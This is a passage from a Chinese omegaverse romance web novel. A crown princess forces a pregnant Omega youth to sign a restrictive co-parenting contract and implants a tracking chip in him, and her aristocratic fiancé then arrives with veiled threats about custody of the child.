这一切,都只让他愈发窒息。 他本能地想逃。 可陆怀峰就守在门外。 上一次,他侥幸趁乱逃离了巡游现场。 这一次,运气之神不会再眷顾他。 挂钟的指针滴答前行,他在这里又等了一刻钟。 可江意衡依然没有出现。 等待煎熬异常,简星沉几乎坐不住。 他刚要赤足下床时,门外却传来两道由远及近的脚步声,还有一声叹息。 “殿下,我可是三令五申,您要是再不遵照我的医嘱休养,擅自跑动……” “那又怎样?” 江意衡毫不在意,“难不成,你想让整个近卫队把我锁在病房里?” “哎我真是……” 青年医生无奈跺脚,“陆队长,您怎么不劝劝殿下。” “他已经知道了。” 江意衡似乎笑了一声,“何况,他只听我的话。” 话音刚落,门被推开。 江意衡率先踏入病房,许知连紧随其后。 简星沉正坐在抬高的病床边,两手握拳,陷在云朵般的被褥里。 淡黄色诊疗衣遮不住他瘦削的身体,那双笔直纤细的小腿垂落床沿,冷白的脚背上还能看见斑驳淤青。 江意衡微微屏息。 她挪开视线,只对身后的青年男医生笑道:“人在这儿了。” 许知连扶了扶眼镜,翻开一份病历。 他一边逐行查看,一边走到病床前,公事公办地问:“你就是简先生吧?这两天还会腰痛吗?出血和抽筋有改善吗?晚上能正常入睡吗?” 简星沉茫然抬起头。 这些症状,他明明只对李又珍说过。 许知连见他愣怔,翻病历的手却没停过:“别这么大惊小怪。你这几天养伤用的药,都是李又珍护士托关系找我开的。” 少年脸上的神情凝滞了片刻,目光几乎艰难地转向江意衡。 所以,他连最后这一点港湾,也不再属于自己了吗? 许知连轻咳一声,从脖子上取下听诊器,听过简星沉的心音。 又取出便携检诊灯,照过他的瞳孔。 “状态看起来还不错。”许知连提着笔,在病历上飞快记录,正打算补全表格信息时,却微微一顿。 他偏过头,刻意压低语气:“殿下,我还没问,他是您的什么人?” “犯人。”江意衡的语气毫无波澜。 “犯人?”许知连手一抖,笔尖差点戳穿纸页。 他笑得尴尬:“您之前可没说过,他犯了什么事啊。” 江意衡的视线重新落回简星沉脸上,平静打量着他听到那两个字的反应:“他从我这里偷了东西,怎么不算犯人?” 少年低着头,没有出声,视线钉在自己的膝盖上,双手紧紧攥住被褥。 他当然知道她指的是什么。 明明穿着诊疗衣,他却觉得自己的一切,都被看穿了。 好像一只被剥去外皮的柚子,只要她的目光轻轻一拨,就会四分五裂。 许知连嘴角抽了抽。 他打了个哈哈,抬笔敲在病历上:“殿下要是不说,我还以为,他是您的小情人呢。” “许医生,你开什么帝国玩笑。” 江意衡不紧不慢上前两步,伸手捏住少年的下巴。 他的额头挂满细汗,睫毛却沾着泪花,像淋了雨的蝴蝶般轻轻颤动。 她一顿,指尖转而在他的颊上施加力道:“不过是一条看着乖巧的狗罢了。” 许知连好不容易绷住的表情近乎扭曲。 他握拳掩口,勉强镇定:“那殿下今日带他来,是为了?” “你是医生,你比我清楚。” 江意衡抱起双臂,冷眼看他,“你平常在这里做什么,总不用我提醒吧?” 许知连面色微沉地缓缓点头。 他的视线扫过少年身上露出的瘀痕,犹豫着拍了拍他的肩膀:“既然这样,我会尽快安排。” 病房里蓦地安静下来。 简星沉的呼吸声愈发清晰。 走廊里的那些只言片语,那些关于“打掉”“洗标记”“一次性转账”的字眼,好像一记又一记迟到的闷锤,重重砸进他的脑海。 寒意沿着脊背一路爬上后颈,蔓延全身。 少年像只应激的小兽,猛地甩开许知连关切的动作。 他赤足跳下床,躲进角落,双臂交叠,死死护在腹部。 “不要!” 抬起脸时,泪水早已模糊他的眼眶,“就算是我犯了错,凭什么要惩罚它!” 少年睁着泛红的泪眼,背靠墙角,防御姿态固执得惊人。 “Omega在孕期激素水平波动,防御心理增强,也是正常反应。” 许知连倒吸一口气,强迫自己保持冷静。 他小心靠近,语气尽量温和:“你别担心,都是常规手续,不会疼的。既然殿下亲自开口,一切都会帮你安排妥当。” 嘴上说着安抚的话,他们这样的人,又怎么可能允许他留下这个孩子。 “你们不可以动它!” 少年像被逼到绝境的困兽,抄起枕头朝他砸去,又抓过水杯狠狠摔向墙面,“它还那么小,它明明什么都没做!” 玻璃炸裂,水珠四溅。 许知连吓得连拍心口,过了好几秒,才忍不住小声嘀咕:“哪里乖了,凶得跟什么似的……” 话未说完,就被江意衡一个眼神瞪了回去。 她收回视线,重新望向那个抱膝缩在墙角的人。 十九岁的少年,原本瘦高单薄,如今却俨然要把自己像纸那样,折进最狭小的缝隙。 当初在那间破旧的出租屋里,他也是像现在这样,在她面前瑟缩着。 可她明明没有逼他卑微,没有逼他低头。 是他自己,一次次把自己低到尘埃里。 她讨厌他这样懦弱,讨厌他总是低着头,讨厌他不敢抬眼看她。 “就因为孩子在你肚子里,它就是你一个人的了?” 江意衡踏着清晰的脚步逼近,“你以为,凭你就能左右它的去留?” 简星沉紧紧护住小腹,身体抖得厉害。 他可以什么都没有。 但唯独这个孩子,是他拼了命也要守住的。 只要它还在,他就能够永远守住那些曾经属于彼此的记忆。 温热的泪水模糊视线,打湿衣襟,背后的墙却始终冰冷僵硬。 简星沉抬手拭过眼前,却听到“啪”的一声。 一份文件落在面前,上面清晰地印着一行字—— 《非婚制合作抚养协议》。 第39章 别以为,我会有心情碰你…… 简星沉盯着地上这份文件,足足怔了半分钟。 “你要是看不明白,我可以解释给你听。” 江意衡举起另一份一模一样的文件,随手翻开,“从你签下这份协议起,你的所有开支,由我承担。你的安全,由近卫队负责。至于,你需要履行的义务。” 她微扬唇角,神情介于轻笑与讽刺之间。 “你自愿牺牲你的人身自由,保护腹中胎儿的健康安全,直到分娩完成。 “你的身体不再属于自己,没有我的允许,不准离开我的视线,不准与任何人联系。 “孩子出生后,由我主导教育安排。在协议许可的范围内,你享有陪护权。” 江意衡轻拍手中文件,微微凝眸,“其他的,协议里都写得很清楚。页数很多,别看漏了。” 声音仿佛冰冷的水珠砸落叶片,没有一丝温度。 听她说完这许多话,简星沉的脑海里,却只回荡着一个念头。 江意衡,没打算让他打掉孩子。 还要他……把孩子生下来? 他愣在原地,脑中一片空白。 他不知道,自己是应该为着她的手下留情感到庆幸,还是应该为着即将彻底失去的自由而叹息。 在人生的前十九年里,活着,去往他想去的地方,去做他想做的事,曾是他唯一的愿望。 可现在,他不再是一个人。 他不仅要为自己负责,也要对腹中的小生命负起责任。 少年伸出手,捧起落在地上的那份协议,一页一页翻动。 他的视线茫然掠过一段又一段条例,密密麻麻的黑字织成一张网,将他的恐惧与希望一并锁在心底。 病房里明明有三个人,却只能听到,他翻动纸页的窸窣声。 他的手指突然顿住,目光停在某一段文字上。 而他唇角微动,近乎错愕地念出声来。 “若甲方提出要求,无论是通过口头、语音或书面方式,乙方均应配合甲方,满足合理范围内的生理需求,包括但不限于……易感期?” 他抬起头,喉咙发紧,“这也是,我需要满足的义务?” 江意衡还未开口,许知连已经抢着帮她解释:“只要身体状况允许,这也不是什么禁忌。医学研究早就表明,适度的亲密接触与信息素交融,对胎儿发育和孕夫的内分泌稳定,都有积极作用……” 话未说完,江意衡凝结的表情上,出现了一丝轻微裂痕。 她斜过脸,目光冷淡地瞥过身后的许知连,几乎翻了个白眼,才垂眸翻开手中那份文件,定位到同一页。 片刻后,她合上文件,发出一声轻嘲。 “协议都是从同一个标准模板改过来的。吴律师大概是老眼昏花,忘了删掉这种废话。” 江意衡侧眸望向墙角的少年,“别以为协议上留着这种话,我就会有心情碰你。” 她弯下腰,面容靠近他,指尖沿着他的下颌角滑过,动作近乎亲昵。 “如果不是因为你怀着王室的血脉,我根本,就不会在乎你的死活。” * 这是简星沉第一次在外人面前,解开自己的衣襟。 诊疗衣的设计本就是为了方便身体检查。 上衣打开时,可以根据检查需要,单独敞开胸口或腹部。 少年动作迟缓地松开束带,把两片前襟分别向两侧拨开。 本该裸露的柔软肚腹上,却赫然缠着一圈泛白起球的老旧收腹带。 许知连脑中警铃狂响。 介于胎儿的另一位血亲,帝国最尊贵的王储殿下本人也在场,他不便把话说得太重。 但还是出于医者的良心,委婉劝诫道:“简先生,您这样束着腹部,不仅会压迫胎儿,对您自己也没任何益处。您还在孕期,请别再继续使用这类物品了。” 简星沉没吭声,好半晌,才默默点头。 他不情愿地褪下收腹带,递给对方。 许知连摇着头,将那近乎罪证般的物品放置一旁。 他戴上紫色一次性手套,取过凝胶,均匀涂抹在少年的肚皮上。 病房里的温度本就偏低。 清凉的凝胶一接触腹部的皮肤,简星沉忍不住颤了一下,鸡皮疙瘩迅速沿着四肢浮现。 江意衡目视他靠在床头躺下,失去束缚的腹部诚实还原出微隆的弧度。 那是一片只属于她的平原,只有她一人耕耘留下痕迹。 可现在,那里却像山脉初升,藏于其中的生命不知不觉生长成型。 江意衡从未想过,有朝一日,这颗无心播下的种子,会在他的身体里发芽。 更没想过,她会默许他把孩子留下。 对于中心区的贵族而言,将血脉流入平民体内,是绝对的禁忌。 那就等于为今后埋下一颗定时炸弹,势必会增加许多意想不到的麻烦。 她自己,曾是父亲在民间埋下的那颗炸弹。 她比任何人都清楚,这是多么大的风险。 所有风险,都理应在萌芽之初彻底掐断。 可偏偏,在她察觉到孩子存在的那一刻。 在她意识到,这具她曾拥抱过的单薄身体,这棵还未长成的小树,因她而开始孕育生命的那一刻。 一种前所未有的情绪,悄无声息地从心底蔓延开来。 难道,是血脉的本能在作祟? 还是……因为这个人? 江意衡沉思的这会,许知连已经取来消过毒的探头,娴熟地在少年涂过凝胶的腹部轻轻滑动。 原本冷清的屏幕上,几乎瞬间亮起一幅暖黄色的图像。 那是一团微微蜷缩的小人儿,静静地泡在羊水中,五官轮廓已初具雏形。 像在酣睡般,呈现出与少年紧绷身体截然不同的松弛状态。 “是个女孩,恭喜殿下。” 许知连一边调整探头的角度,一边由衷感叹,“血脉的力量果然神奇。这孩子就连交叉胳膊的姿态,都很像您呢,殿下。” 他转头看向江意衡。 她正抱着手臂,站在不远处,目光盯着屏幕,却没理会他。 许知连扁了扁嘴,继续说下去。 “胎儿肢体发育良好,四肢比例协调。” “依据体长判断,胎龄在十七到十八周之间。” “哎,她动了,她在吃手手呢!真不知道,这又是随了谁呀……” 许知连一时没忍住,发出轻快的语气词。 一股寒意却由背后袭来。 他偏过头,江意衡正拿那种足以杀人的目光,瞪着他。 许知连立刻识趣地收敛表情,轻咳一声,重新端出医师的职业姿态,一本正经地继续报告胎儿的各项体征。 简星沉始终听得很认真。 他的那些课本从没教过他,该怎么解读胎儿的影像。 此刻他一动不动地盯着屏幕,几乎竖起耳朵,生怕自己会漏掉任何一个字。 那是个仍在孕育的生命,像一棵还未破开种壳的幼苗。 关于她的一切,始终隔着一层肚皮,虽然借助仪器窥见,却仍无法真正触及。 可这毕竟是他四个多月以来,第一次见到她的样子。 他几乎觉得自己是在犯规,能像这样,提前见到她还没睁眼的样子。 那么小,那么柔软的一团。 那个只要一开心,就会轻轻踢他的小家伙。 他还未出世的女儿。 他的小星星。 “胎儿看起来很健康,暂无异常情况。” 听到这句结论,简星沉如释重负地松了口气。 许知连接下来的话,他一个字也没听进去。 因为他的视线不知不觉从屏幕上挪开,重新回到了江意衡身上。 她一手支着下巴,微微眯起双眼,凝神看着屏幕。 看不出是不是欣喜,但至少,不像是在抗拒。 她可以不喜欢他。 她可以讨厌他。 这些,早在他转身逃离那间出租屋的时候,就已默许。 他固然不了解她生活中的所有人,也不清楚她对他们是什么态度。 但这是他第一次看到,她那么专注,凝视着除他以外的存在。 江意衡,会喜欢这个孩子吗? 屏幕上的图像暗去。 许知连放下探头,在病历本上飞快书写,同时补充道:“稍后会有护士来为简先生采样,做进一步的分项检查。结果一出,我会第一时间向殿下汇报。” 说完,他收拾好器具,安静地离开了病房。 封闭的空间里,只余下两人。 简星沉低着头,忙着为自己系上前襟,重新遮住腹部。 一抬脸,他却撞上江意衡低垂的视线。 对视仅仅持续了两秒。 在他近乎慌乱地偏开目光的瞬间,她却忽然轻笑一声。 “你该庆幸,你那些冒失的行径,没有影响到你腹中属于王室的血脉。” 她理所当然地伸出手,探向他的小腹。 简星沉身体一僵。 他下意识地交叠双手,挡在她的手掌前。 江意衡的指尖才刚探出,触及的却是少年泛凉柔软的手指。 细微的触感好似静电一瞬间闪过,她的心底微不可察地一动。 她顿了顿,旋即收手,扬起冷笑:“你还有什么好藏的?” 她一把扣住他的手,指尖用力,甚至在他白皙的手腕上,压出一道泛红的印记。 “你藏着,躲着,甚至用那么残忍的方式束住肚子,是因为你讨厌这个孩子吗?” 简星沉懵了一瞬。 他几乎是颤着声,摇着头,慌忙解释:“不是的,我没有讨厌她,我只是……” 他怎么会讨厌自己的孩子。 他珍惜她,胜过自己的一切。 可在江意衡面前,这些话语太过苍白。 “你当然不会讨厌它。” 她语气一转,齿关微微摩擦,“你只是不想面对现实而已。怀着我的孩子,难道是很丢脸的事?” 简星沉拼命摇头,却紧紧咬住唇角。 他不知道要怎么才能解释清楚,喉咙好像被堵住一样,只能把眼泪憋在眼眶里。 “宁愿被人打,也不出声。宁愿负伤逃走,也不接受近卫队的救助。” 江意衡字字如刀,剜在他心头,“你要不是心虚,为什么要藏,为什么要跑?” 简星沉再也支撑不住,泪水奔涌而下,声音瞬间模糊:“我没有……我明明……” 他不是没想过开口,不是没想过求救。 可那天现场一片混乱,人声嘈杂,他浑身是伤,除了护住肚子,根本什么都顾不上。 加上他喉咙里含着血,哑得厉害,即便张口,也喊不出声音。 他不是不可以被发现,不是不可以束手就擒。 只是能不能别在他最狼狈的时候。 能不能别在他只剩下一丝尊严的时候。 江意衡移开目光,冷声开口:“从前你想怎样,当然是你的事。但现在,你不是一个人。” 她的话语仿佛能够穿透名为简星沉的皮囊,钉入他的骨髓。 “但凡你了解我,就该明白,我不会让任何人拿走属于我的东西,也不会让任何属于我的,从我眼皮下逃走。” 她斜过视线看他,“过去四个月,你是不是很享受捉迷藏的游戏?现在,游戏结束了。” 江意衡从身后端起一支密封好的金属针管,针头略粗,末端还嵌有某种泛着冷光的东西。 隔着无菌包装,她将针头在掌心轻轻一敲,俨然是在展示一件精致却危险的玩具。 “帝国科技署特别研制的追踪芯片,通常用于重犯、叛国者,或是不安分的‘资产’身上。” 她望着他,唇角勾笑,“你应该,是第一次见吧?” 第40章 我喜欢用咬的 帝国针对高危犯人的其中一条管控措施,是在他们体内植入追踪芯片。 芯片连接神经中枢,除非借助专用设备,并由专业团队操作,否则几乎无法摘除。 “有了追踪芯片,你会在所有公共安检系统中被识别。你的出行将会被卫星锁定,实时传送给我。” 江意衡抬起腕上终端,一幅全息投影地图在空中展开。 芯片的位置由红点标示,正定位在他们所在的医院楼层,稳定闪烁。 “任何尝试破坏芯片的行为,将立即触发神经麻痹反应。即便你想徒手把它挖出来,也不可能成功。” 她垂眸,语声冷淡,“这能保证,你绝对无法逃离帝国,也无法逃离我。” “一定要这样吗?” 简星沉侧眸扫过他刚签字的那份协议,又抬眸望向她,“我已经,答应你了。” “我说过,我不喜欢把选择权交到别人手上。” 江意衡拆开包装,抬高针管,一手扣住少年后脑,轻轻施压。 “从现在起,除了你签署的书面协议,我不会再相信你说的任何一句话。” 少年抬起的眼眸里,有某种细碎的东西悄然沉没,好像星光滑落水下,很快不见。 短暂僵硬后,他近乎认命般,随着她手掌的动作,徐徐向前低头。 而他脆弱的后颈,久违地重新暴露在她面前。 江意衡随即将手掌覆上他的颈后。 柔软的发丝蹭过她的掌心,带着冷却下来的汗意,泛着微微潮气。 那儿本是一块被她咬穿的腺体,如今却已彻底愈合。 不过短短四个月,那些痕迹便被抹去。 江意衡微微拧眉。 她斜眸扫过手中的银色针管,思考着要将芯片注入何处,才最为稳妥。 帝国监狱的传统,是将追踪芯片注入犯人颈后。 避开腺体,却依然显眼。 那近乎是一种堪称公开羞辱的烙印方式。 但少年不是帝国的囚犯,他只是她一个人的犯人。 她不想让他的芯片暴露在外人面前。 这并非是为了维护他的尊严,而是为了,让芯片成为他身上专属于她的枷锁。 上臂内侧,或许是个不错的选择。 位置同样方便检查,穿上衣服就能不动声色地遮住。 可这样,又未免太过温和。 少了那么一点,她想要的惩戒意味。 江意衡的视线缓缓下移,唇角微不可察地弯起。 如果是在那里,一切,就顺理成章了。 既不易察觉,又能确保他铭记在心。 他今后每一次穿褪衣物,都会看到那处痕迹,并记起,那是她留在他身体上的另一道标记。 无法抹除,无法忘记。 江意衡从他的后颈松开手掌,在他身侧坐下。 少年的身形分明一僵,旋即悄无声息地曲起双腿,试图往里避让,为她腾出位置。 “别动。” 江意衡的声音极轻,语气却带着不容抗拒之意。 她伸手按住他的膝盖,五指缓缓收拢。 他的关节如此纤细,几乎像人偶一样脆弱。 握在她的指间,仿佛只要她稍稍用力,就能轻易把他弄坏。 “膝盖分开。” 简星沉应声抬头。 那双眼里,倏地浮现错乱。 江意衡,到底想要他做什么? 他一动不动地坐着,脸上写满茫然无措。 落在江意衡眼中,却只令她感到好笑。 她轻嗤,指尖顺势滑过他因紧张而并拢的膝盖:“很难懂吗?你当初求我的时候,不是很情愿?” 说着微微倾身,声音近乎呢喃,“现在不过是重复你做过的事情,你就不会了?” 简星沉的指尖在诊疗衣两侧悄然攥起。 他垂着眼睫,目光落在被褥上。 放空片刻后,才徐徐掀起下摆,将紧闭的膝盖打开一寸。 “害羞?你有什么好害羞的。你全身上下,哪一点我没看过。” 江意衡的手掌化作刀锋,利落地楔入他微敞的双膝之间。 她的指腹明明只是温热,沿着他腿间的肌肤滑过时,却好像能燃起一路战栗。 肌肤相触,体温交汇,简星沉明明不想感到害怕,可她话里的那些冷意,与她指尖过分亲密的触碰,却让他在局促之余,诚实地给出身体回应。 那是Omega对Alpha肌肤接触的本能渴望。 他们已有四个多月未曾亲近,但他惊恐地发觉,他的身体早已记住了她。 他止不住地发颤,呼吸的声音渐而急促。 虽然强迫自己撇开目光,转移注意,却无力掩饰颊上浮起的红晕。 直到她的动作蓦地顿住。 下一秒,仿佛电流穿透皮肤,冰凉的针尖离开他的身体,只留下芯片在原地微微发热。 他低头,后知后觉地吃痛。 余光中,江意衡的神情依旧冷峻。 针管抬高,末端嵌有追踪芯片的位置已然空空。 江意衡低头打量着少年大腿内侧的细微出血点,几乎是要安抚他那样,指尖围绕那处徐徐划圈。 “很疼吗?” 她的手仿佛在反复确认,不厌其烦地滑过他腿上的皮肤。 虽然已经过去一个多星期,虽然她早就指示许知连私下替她打点,将特效药送到少年的房东手中,他身上,却依然留存着斑驳的瘀痕。 简星沉几乎梗着脖子,木然摇头。 他缓缓拉下衣摆,将裸露的膝盖与隐秘的芯片植入点一并掩住。 江意衡的视线在他交扣的双手上停顿片刻。 旋即,又恢复了冷冽笑意。 * 护士为简星沉采血后不久,许知连便拿着化验结果回到病房。 “就如方才初检的结果一样,胎儿一切安好。” 他抱着一台平板,端到江意衡眼前,“不过孕夫的身体状况,还有……可以改善的空间。” 江意衡抬眼,目光落在平板显示的数据上。 专属信息素的浓度数值旁,标注了一个醒目的下行箭头。 “怎么回事?” 江意衡目光微沉,“标记出了问题?” “您的标记怎么可能出问题。我行医这些年,就没见过那样稳如磐石的终身标记。” 许知连笑了笑,“问题在他身上。孕夫对Alpha信息素的依赖程度远高于常人。他在这几个月接触到的专属信息素严重不足,身体为了维持胎儿发育,长期处在亏空状态。说实话,我很惊讶,他是怎么独自熬过来的。” 说完,许知连叹了口气。 江意衡的指尖不自觉地按在屏幕上,几乎能把钢化玻璃压出裂痕。 许知连默不作声收走平板,适时给出解决方案。 “不过殿下放心。既然简先生来到我们科室,只要您愿意提供一滴血,我们的仪器便可模拟您体内的信息素,合成一剂高度浓缩的匹配样本。注入他体内后,能在最短时间内,提升与标记同源的信息素水平。” “合成我的信息素?” “这是最快,也是对您负担最小的办法。” 江意衡听着许知连的解说,不由笑了。 “比起这种人造的替代品,我还是倾向于,更天然的方式。” 许知连微微一愣。 “如果这几个月,他一直在您身边,那这一针,确实没什么必要。” 他耐心劝说,“但以他目前的状况,单凭您周身挥发的信息素,远远不够。” “许医生,你好像没听懂我的话。” 江意衡看着病床上那个抱膝蜷缩的少年,唇边扬起若有若无的笑意。 “我喜欢,用咬的。” 语毕,她重新审视这具纤弱的身体。 少年如同一只待宰的羔羊。 即便听到近旁发生的对话,也没有任何抗议。 他只是把手臂在膝上环得更紧,好似要把自己收进某种茧壳里。 许知连默契地退出病房,留下一室清静。 江意衡抬起指尖,拨开少年颈侧微微凌乱的发丝。 他的脖子因为局促而绷紧,皮肤带着不安的热意。 她当然知道,那是什么。 属于Omega的本能生理反应,就像她指尖拂过他腿间肌肤时,激起的细微战栗。 这并非他能够用理智压制的东西。 从前她对这样的反应嗤之以鼻,甚至曾觉得,这样可笑至极。 可如今只是看着,他那压抑克制的模样,她的心底,便生出一种难以遏制的暴虐念头。 她的指尖没有直接触碰他的腺体,而是刻意在旁游走。 从耳廓滑向脸颊,于他的下巴中央短暂停留,继而挪回他的脖颈后方。 仿佛猎人在端详自己的食物。 江意衡向来偏爱如牛排一般,外层焦脆,内里却藏着生鲜的柔软气息。 她最享受的,是突破防御的瞬间,胜过一切咀嚼与吞咽。 她想看到他挣扎,想看到他吃痛求饶,想看到他像过去那样,在被撕裂的那一刻,彻底决堤。 她觉得自己可能是疯了。 二十四年的人生中,她只对眼前这个人,生出过如此具体而残暴的念头。 折磨一棵几乎被风暴压弯的小草,惩罚一个早已被生活反复拷打的人。 江意衡微微俯身,重新靠近他的后颈,手掌按上他单薄的肩膀。 少年虽然没有出声反抗,身体却如她所愿,瞬间绷紧如弦。 她清楚地感觉到,他的肩胛之下,那一阵阵细微的颤动。 不单是生理反应,更是在极致克制之下,由身体的每一处细节流露出的恐惧。 她抚过他微乱的发尾,像猎人在取食前,近乎恶意的那一点安抚。 她缓缓张开唇齿,齿尖向着那枚干涸了四个月、未有雨露降临的腺体靠近。 就在她即将合上双眼的瞬间。 就在她即将咬出血的瞬间。 一道属于茉莉的微弱香气,却从他的体内悄然逸出。 在她的意识里,瞬间割开一道细小的口子。 惊慌,惶恐,畏惧。 那是她曾在巡游现场感知到的气息。 那是令她即便手上流血,手肘脱臼,险些从马上坠下,也忍不住第一时间循向的信号。 他在怕她。 那是被少年压抑在意识深处的恐惧。 他分明将她也视作了危险。 意识到这一点的瞬间,原本萦绕在江意衡脑海中的嗜血冲动,忽然如冰雪崩落,裂成无数碎片。 一种近乎厌恶的情绪从心底涌起。 她不知道自己在做什么。 她不知道,自己为什么会停下。 明明只差毫厘,就能咬下去。 明明已经下定决心,将他重新拉回掌控之中。 却只因他微弱的信息素反应,而收住了手。 她什么时候,成了这种犹豫不决的人? 简星沉感到颈后的气息忽然远离,肩上的力道也随之撤去。 可他,明明还未等到腺体被咬穿的剧痛。 他抬起面容,目光循向前方。 江意衡早已起身,正背对着他,一只手轻戳自己的眉心,仿佛正为着什么感到烦躁。 她打开终端,轻点数下,没有回头,只淡然抛下一句话:“在这里等着,我去去就回。” 简星沉只字未言。 他如今身上带着追踪芯片,即便她不说,他也知道,自己早已无处可逃。 他只是有些迷茫地目送着,江意衡匆匆离开病房,合上房门。 赤裸的双足落在冰冷的地板上,他渐渐恢复清醒,不由打了个哆嗦,下意识地搓了搓手臂放松。 然而她残留在他颈后的温度,却像一条看不见的锁链,牢牢缚着他。 即便她不在病房中,即便他清楚地知道,她并没有动手。 简星沉却觉得,自己好像一只被关入笼中的鸟。 被剪短飞羽,被打上标签。 他无从想象,未来的日子,会过成什么模样。 少年把头埋进掌心,仿佛只要遁入黑暗片刻,就能有喘息的余地。 门忽然又被推开。 他下意识地抬眼,却望见一双一尘不染的白色皮鞋缓缓踏入病房。 那脚步落地时异乎寻常地轻盈,仿佛每一步,都在极其精准的控制之下。 “幸会。” 那道异常清冷的声音响起,简星沉怔了怔,这才上移视线,对上来人的目光。 言均和一身洁白西装,宛若从冰雪中走出的翩翩王子,神情从容,步履优雅,在他前方一米距离停下。 “你就是简星沉,对吗?” 他微笑开口,唇角扬起的弧度宛若无懈可击的面具,“听说你怀了殿下的骨肉。我来,是有些事情,想和你单独谈谈。” 40-50 第41章 殿下的孩子,就是我的孩…… 排除之前在报纸上看到的照片,简星沉一共只见过言均和三次。 第一次,是在王储巡游的现场,他远远望见对方坐在马车里。 第二次,是在挂着对方油画像的慈善午宴上,他余光瞥见言均和沿着旋梯缓步而下。 第三次,则是今天。 在这间几乎封闭的病房里,他看着如同王子般的帝国芭蕾艺术家,一步步向他踏近。 “我跟你,没有什么好谈的。” 简星沉开口,语气不显畏惧,但也绝对算不上平静。 因为他很清楚,这位王储未婚夫的外貌条件,在帝国Omega当中,无疑是出类拔萃。 优越的骨相、流畅的线条,加上多年高强度的芭蕾训练,使他在举手投足之间,都透出芭蕾舞者的气场。 就连此时做出的简单握手动作,也标准得仿佛某种开场礼节。 “我好像,还没正式介绍过自己。我叫言均和,言总理是我的父亲。” 他稍作停顿,又轻描淡写地补充道,“至于殿下与我的关系,你应该已经知道了。” 简星沉没有回应言均和伸出的手。 他只低声问道:“是江意衡让你来的?” 少年明明出身卑微,却直截了当念出一国王储的名字。 这话落在言均和耳中,不由在他心底掀起一丝细微惊讶。 “你说殿下?” 言均和抿了抿唇,指尖轻晃,语气捎上一丝抵触,“我是她的未婚夫,又不是她的仆人。你难道觉得,我会像近卫队长陆怀峰那样,奉她之命来见你?” 简星沉眨了眨眼,试图弄清头绪。 他并不清楚贵族之间的相处模式,但他很确定,自己并没有任何贬低对方身份的意思。 “那你来找我,是为了什么?” 言均和轻拍双手,目光由地面缓缓挪回少年脸上。 “你应该已经收到了殿下的协议,对吧?” 简星沉没有回答,视线却偏向一侧。 床头柜上,正摆着一份签过字的文件。 言均和顺着他的目光扫去。 文件扉页上的《非婚制合作抚养协议》几个字,异常醒目。 他不再多看,只略抬眉,打量着那个坐回床边,一条手臂拦在身前,呈现出防御姿态的少年。 “明文协议是一回事,你不是圈内人,恐怕不了解王室真正的规则。不如,就让我替殿下为你解释一遍。” 言均和伸出一指,搭在近旁的椅背上,“殿下想要谁为她生孩子,那是她的事情。至于,孩子日后跟着谁……” 他笑了笑,目光带着一闪而过的冷意:“那就不好说了。” 简星沉几乎是本能察觉到,那话中暗藏的锋芒。 虽然他们同为Omega,但言均和出身贵族世家,学的又是古典芭蕾舞,无论是举止、谈吐,还是气息的调控,都带着精心雕琢过的优雅。 与江意衡那种压倒式的气势不同。 言均和的话语,更像柔韧的丝线,却能无声无息缠住他的喉咙,叫人不寒而栗。 “你这话,是什么意思。” “什么意思?” 言均和搭着手肘,指尖弹动,“殿下可是帝国王室的继承人,而你怀着她的孩子。这孩子,未来自然也是王室的继承人。你觉得,我能是什么意思?” 简星沉不知道,为什么这些贵族总喜欢把问题丢回给他。 他没有兴趣,也没有精力参与他们的文字游戏。 “这也是她的孩子,一切由她决定。” “殿下的孩子,就是我的孩子。” 言均和弯起唇角,指尖在那份合作抚养协议上轻轻一点,没有翻开,直接抛给少年,“这本来,就是我作为未来王夫,最重要的职能之一。” 简星沉下意识接住文件,喉咙微紧,几乎忍不住说出反驳的话语。 可他还未开口,对方已轻笑出声。 “我知道,你一定很困惑。一个Omega,为什么要去抚养别人的孩子?” 言均和放慢语气,俨然是在挑衅,“在回答这个问题之前,我先给你讲个故事。” 他侧身坐在椅子上,伸手拂过一旁安静待机的诊疗设备。 “殿下的父亲,也就是现任国王陛下,尚在王储之位时,曾因宫廷政斗被迫流落在外。他在E区认识了一个人,我没记错的话,应该是个钢琴老师。” 说着,言均和转过头来,目光直视少年,“那个人,就是殿下的母亲,安青沅。” 简星沉一时怔住。 他有些不明白这段对话的走向。 可他毕竟是第一次,从江意衡之外的人那里,听说关于她家人的只言片语。 他没有插话,只是默默等待故事讲完。 言均和看出他的心思,微微一笑,继续说下去。 “陛下那时为了躲避追杀,扮成平民宿在安青沅家中。E区民风保守,他们长得又不像,为了掩人耳目,就对街坊邻居谎称是夫妻,还特意领了结婚证。 “三个月后,宫中保守派的首领终于将陛下迎回。可他走时,没有带安青沅回去。 “等他回宫安顿好一切,他那远在E区的假妻子,却不告而别,肚子里还怀着他的骨肉。 “安青沅搬去E区一座偏远小镇,独自把殿下抚养到四岁。就在那一年,殿下被人绑架。安青沅别无选择,只能向王室求援。 “那时陛下才知道,他有一个流落民间的女儿。可惜,他已经娶了黎家的长女,也就是现任王后。 “殿下四岁那年,有了一个父亲。可在同一年,因为一场蹊跷的飞船事故,她永远失去了母亲。” 听到这里,简星沉不自觉地攥起手指。 他对江意衡的童年几乎一无所知。 他从没想过,她会在梦中那样牵挂母亲,是因为这样坎坷的经历。 一个人在童年遭遇的噩梦,往往会在日后的生活中,以另一种方式反复出现。 他忽然觉得很难过,说不清是为她,还是为自己。 原来他对江意衡的了解,是这么少。 腹中的孩子似乎察觉到他的情绪低落,轻轻用拳头顶了顶他的肚皮。 他缓缓将手覆在腹部,温柔回应,又陷入更深的叹息。 言均和饶有兴致地观赏着少年低头垂眸、指尖攥起的反应,良久,才徐徐舒了口气。 他伸指拂过自己雕刻般的下颌,清冷矜贵的面容上,扬起一丝事不关己的笑意。 “一个没有母亲的人,是很可怜的,你说不是吗?” 他的目光扫过少年微微隆起的腹部,“你应该也不希望,肚子里的孩子,将来没有自己的Omega血亲吧?” 如果刚才的话语还算委婉,这一句话,瞬间便暴露出威胁的底色。 简星沉坚定地护住腹部,抬头直视对方的目光不再躲闪。 他并不介意藏起身份,做一个见不得光的抚养人。 但无论如何,他都不可能放开自己孩子的手。 他绝不会让这个孩子,也重蹈江意衡曾经历的痛苦。 “无论你说什么,我都不会放弃自己的孩子。” 少年微微咬唇,“你是她的未婚夫,你以后,迟早也会有自己的孩子。” 虽然是为了表达态度,但他单是说出后一句话,就觉得心里好像刀子割过似的痛。 即便再隐忍,再卑微。 即便知晓,太阳高悬于天,不可能独照他一人。 他也仍是会近乎可耻地在心底奢求,渴望她能成为他的太阳。 只属于他的太阳。 言均和并没有接过简星沉的话。 